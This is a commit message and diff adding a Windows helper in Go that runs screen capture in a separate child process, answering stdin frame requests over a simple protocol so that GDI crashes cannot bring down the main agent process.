refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe

lib/capture/helper_windows.go

@@ -0,0 +1,56 @@
+//go:build windows
+
+package capture
+
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
+)
+
+// RunHelper is the -capture process: one GDI grab per stdin request, then
+// the process can be killed without taking the agent down.
+func RunHelper() int {
+	in := bufio.NewReader(os.Stdin)
+	out := bufio.NewWriter(os.Stdout)
+	for {
+		monitor, format, quality, err := readRequest(in)
+		if err == io.EOF {
+			return 0
+		}
+		if err != nil {
+			_ = writeErr(out, err.Error())
+			_ = out.Flush()
+			return 1
+		}
+		img, err := grab(monitor, format, quality)
+		if err != nil {
+			if werr := writeErr(out, err.Error()); werr != nil {
+				return 1
+			}
+			if err := out.Flush(); err != nil {
+				return 1
+			}
+			continue
+		}
+		if err := writeFrame(out, img); err != nil {
+			return 1
+		}
+		if err := out.Flush(); err != nil {
+			return 1
+		}
+	}
+}
+
+func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
+	defer func() {
+		if r := recover(); r != nil {
+			err = fmt.Errorf("panic: %v", r)
+		}
+	}()
+	return screenshot.CaptureMonitor(monitor, format, quality)
+}